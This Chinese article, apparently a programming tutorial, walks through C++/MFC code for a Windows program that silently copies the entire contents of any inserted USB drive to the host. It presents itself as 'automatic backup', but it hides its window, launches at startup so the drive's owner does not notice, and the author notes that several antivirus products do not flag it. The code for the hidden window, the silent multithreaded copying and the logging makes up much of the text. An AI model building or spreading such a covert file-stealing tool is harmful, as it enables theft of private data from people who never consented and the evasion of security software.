一、简介
本文介绍了当有U盘插入主机时,能隐蔽地完成自动拷贝U盘文件到主机预设目录的程序。本程序的基本思路是当U盘插入时,系统会发送WM_DEVICECHANGE消息,只要对这个消息进行捕获和处理,添加拷贝处理函数即可。
与已有的一些自动备份U盘程序相比,本文完成的程序具有以下特点:
首先,实现了对捕获消息窗口的隐藏,开机自启动,能够隐藏自动备份程序界面,这样U盘用户很难注意到整个自动备份过程。
其次,当有多个U盘插入时,单线程处理无法完成拷贝所有U盘文件的需求。例如,系统分配一个进程用于U盘的拷贝工作,但此U盘所需拷贝内容非常大时,就会导致其他U盘因等待时间过长而产生消息丢弃而无法完成拷贝工作。本文利用多线程技术对多个U盘实现并行拷贝,大大改善了程序的性能。
第三,增加了日志文件,能够对程序的运行状况进行跟踪和记录,从而得到拷贝时间、文件大小、U盘盘符等信息。
下面介绍程序的基本流程,重点分析了捕获系统消息窗口的隐藏、多线程文件拷贝、日志文件的创建等模块。最后对程序进行了一系列测试分析。
二、程序流程及模块分析
程序的基本设计思想是:系统启动后,本程序即可在后台运行,当在主机的USB口中插入U盘时,系统会发送WM_DEVICECHANGE消息,本程序捕获此消息后执行CallWindowProc()函数进行下一步处理,如完成拷贝文件、日志记录等功能。程序流程如图1所示。
下面对主要函数模块加以分析和说明。
1.主函数WinMain()
Win32应用程序从WinMain()函数开始执行。
在WinMain()函数中首先声明一个窗口类(WNDCLASS)对象,通过对WNDCLASS类属性的赋值来创建窗口的实例化对象。WNDCLASS是一个结构体,包含了注册窗口函数所需要的所有属性。对WNDCLASS属性的初始化如下:
wndcls.cbClsExtra = 0; //额外分配给窗口类的字节数,系统初始化为0
wndcls.cbWndExtra = 0; //额外分配给窗口实例的字节数,初始化为0
wndcls.hbrBackground=HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
wndcls.hCursor = LoadCursor(NULL,IDC_NO);//窗口类的光标句柄
wndcls.hIcon = LoadIcon(NULL,IDI_WINLOGO);
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息时调用的函数名称
wndcls.lpszClassName = "Lijiayang";//窗口的名称
wndcls.lpszMenuName = 0;
wndcls.style = CS_HREDRAW | CS_VREDRAW;//定义窗口的样式
wndcls.style &= ~WS_MINIMIZEBOX;
对WNDCLASS属性的初始化之后,要注册该窗口,以便于该窗口接受消息并对消息加以处理。
RegisterClass(&wndcls);//根据初始化属性注册窗口类
HWND hwnd;
hwnd=CreateWindow("Lijiayang","Copy_File",WS_OVERLAPPEDWINDOW,0,0,20,20,NULL,NULL,hInstance,NULL); //创建该窗口
通过上述步骤语句创建了一个用于捕捉系统消息的窗口。
为了隐藏拷贝U盘的过程,可以将该程序加载到启动项之后就隐藏捕获系统消息的窗口。相关语句如下:
ShowWindow(hwnd,SW_HIDE); //以隐藏方式显示当前窗口
UpdateWindow(hwnd); //更新当前窗口
之后通过一个循环语句,使得该应用程序一直处于运行状态,当窗口捕获到新的消息后就解释和分发消息,调用消息处理函数。
2. 多线程文件拷贝
当窗口捕捉到系统消息后,根据消息的不同类型做出相应处理。如果是WM_DEVICECHANGE消息,程序将调用获取盘符函数及拷贝函数GetMobileDrive()。
本程序采用了多线程的处理方法,能够在有多个U盘同时插入的时候同时进行拷贝,这样当拷贝的文件非常大时不必等一个U盘结束后再拷贝另一个。具体的设计思想是当多个U盘插入时,应用程序获得不同的盘符,为每个U盘开辟一个线程来拷贝文件。实现的方法是在GetMobileDrive()中加入创建新线程的语句:
//为每个U盘创建一个线程来进行拷贝工作
AfxBeginThread(ProcDriver,(LPVOID)l_driver.GetBuffer(0));
Sleep(100); //每100ms执行一次
其中AfxBeginThread()的第一个参数ProcDriver是线程处理函数的入口地址,l_driver.GetBuffer(0)是线程处理程序所带的参数,要传递这个参数,必须使用将其强制转换为LPVOID类型的。
在线程处理函数ProcDriver()中,进一步调用拷贝函数MyCopyFile()完成文件的拷贝。
MyCopyFile()
{
//取得复制到的目录名称
SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
SourcePath.SetAt(strlen(SourcePath)+1,0);
CString DirName = GetDirectoryName() +p_driver.Left(1);
p_start=DirName ;
//创建目录
CreateDirectory(DestinationPath + '\\' + DirName , NULL);
//声明文件操作结构体FileOP,设置属性
SHFILEOPSTRUCT FileOP; //声明文件操作结构体
memset((void *)&FileOP,0,sizeof(FileOP));
FileOP.hwnd = hwnd; //句柄
FileOP.fFlags = FOF_SILENT ; //操作标志位
FileOP.wFunc = FO_COPY; //操作方式
FileOP.pFrom = SourcePath; //源地址
CString str = DestinationPath + '\\' + DirName; //目的地址
//执行复制操作
CString str1=str;
str.GetBufferSetLength (strlen(str)+2);
str.SetAt(strlen(str)+1,0);
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允许中断操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //执行复制操作
return (MSG==0);
}
3. 日志文件的创建
本程序设计了日志文件,能够对程序的运行状况进行跟踪和记录,包括拷贝U盘文件的开始时间、结束时间、持续时间、所拷贝文件的大小及U盘的盘符信息等。
值得注意的是,日志文件是临界资源,多个线程访问临界资源时,为了避免访问冲突而采用同步,即应当对临界资源互斥访问。所以,在线程处理函数ProcDriver()中声明CcriticalSection类对象logfile。
声明一个CcriticalSection类对象代表了一个临界区域段,即一个同步对象,允许一个线程在一段时间内访问资源或代码段。临界区域的资源或者代码段只允许一个线程在一个时间内进行数据修改或者其他的资源控制操作。
该类对象具有两个属性:
(1)Lock,是对临界资源加锁,这时不允许两个或多个线程同时访问,必须等待释放锁后才能访问;
(2)Unlock是指释放对临界资源所加的锁,允许其他进程访问临界资源。
创建日志文件的相关语句及功能为:
//得到U盘容量大小和剩余空间
if(GetDiskFreeSpaceEx(l_driver,&FreeAv,&TotalBytes,&FreeBytes))
{
totalspace1.Format("磁盘%s 容量:%uM", l_driver, TotalBytes.QuadPart/1024/ 1024);
freespace1.Format("剩余磁盘容量:%uM", FreeBytes.QuadPart/1024/1024);
}
//得到拷贝文件大小
//临界资源,上锁
logfile.Lock();
//定义时间变量,得到拷贝开始时间
CTime t=CTime::GetCurrentTime();
T_finish = t.Format("_%Y_%B_%d_%H时%M分%S秒");
FILE *out=fopen("log.txt","a");
duration = (double)( finish - start) / CLOCKS_PER_SEC;
CString str_time,str_time1;
str_time.Format("用时:%.6fs",duration);
s="开始时间"+T_start+" "+"结束时间"+T_finish+"\n"+"运行"+str_time+"\n";
s=s+totalspace1+" "+freespace1+" "+"文件大小:"+usespace+"M""\n";
//写入日志文件
fputs(s,out);
fclose(out);
logfile.Unlock(); //解锁
三、程序运行
本程序在Visual C++ 6.0环境下实现。可将本程序的可执行文件加载到启动项中(将可执行的.exe文件直接复制到系统的启动项中,系统会自动修改注册表)直接运行。
确保本程序运行后,当本机上有U盘插入时就能够自动进行拷贝,默认的拷贝目的地址是“D:\”。在其中自动创建以当前的系统日期、时间为名的文件夹,存放从U盘拷贝来的文件,同时生成相应的log.txt文件。
四、系统性能分析
从单线程和多线程两个方面对本程序进行了测试。并对结果进行了比对,对程序的运行性能加以分析。测试环境如表1所示:
表1 测试环境
硬件环境 |
CPU |
AMD AthlonTM X2 Dual Core Processor 4000+ 2.11GHz |
内存 |
512M |
显卡 |
VIA Chrome 9 HC IGP |
软件环境 |
操作系统 |
Microsoft Windows XP SP2 |
运行环境 |
Visual C++ 6.0 |
图2列出了单线程拷贝U盘的结果,从结果中可以看出,拷贝文件大小为739M的U盘所用的时间为95.844秒,拷贝文件大小为1628M的U盘所用的时间为193.531秒。但是因为使用单线程,所以对U盘的拷贝工作只能一个一个串行执行,这样造成的结果就是如果一个U盘内所包含的内容过多,需要拷贝的时间很长,这样会导致另一个U盘等待开始拷贝时间过长而得不到拷贝,更有甚者,当两个U盘插入的时间间隔很短时,会导致消息的丢失而不拷贝后插入的U盘的内容。
图2 单线程情况下U盘拷贝日志
对以上问题的改进方法是本文采用的多线程技术,这样可以实现多个U盘同时拷贝,使得系统资源合理利用,不会让U盘插入后等待过长的时间而得不到拷贝。更不会导致消息的丢失而不执行拷贝程序。从图3可以看出,完成两个U盘并行拷贝的时间为268.465s。图3列出了多线程拷贝U盘的结果。
图3 多线程情况下U盘拷贝日志
从图3中可以看出,U盘E的开始时间比U盘G的开始时间要早,但是,由于U盘E所包含的内容多,所以导致了U盘G拷贝结束而U盘E仍然在拷贝。利用多线程技术,使得U盘G不必等待U盘E拷贝结束后才开始拷贝,这样,提高了U盘的响应速度,使得资源合理利用,而不用使得容量小的U盘要等待过长的时间才得以响应。
五、结语
本文针对主机自动备份U盘文件程序的实现进行了细致的分析。利用多线程技术保证了多个U盘可以互不干扰的独立拷贝;并且隐藏了程序运行窗口,从而实现了主机自动备份U盘文件的需求;特别需要说明的是,杀毒软件如卡巴、瑞星、nod32等不会对本程序的行为报警。
不过,本机自动备份U盘文件的程序还有一定的局限性:1)当用户的U盘有硬件支持的密码保护时,将无法进行拷贝工作;2)拷贝U盘的速度与U盘的接口速度有关,很可能发生拷贝没有结束用户就直接退出的情况;3)当使用U盘病毒免疫工具对U盘免疫过后,无法完成拷贝,这是因为系统不再发送WM_DEVICECHANG消息,所以本程序虽然一直在运行,但窗口不能捕捉到WM_DEVICECHANG消息,无法进行下一步的操作。
|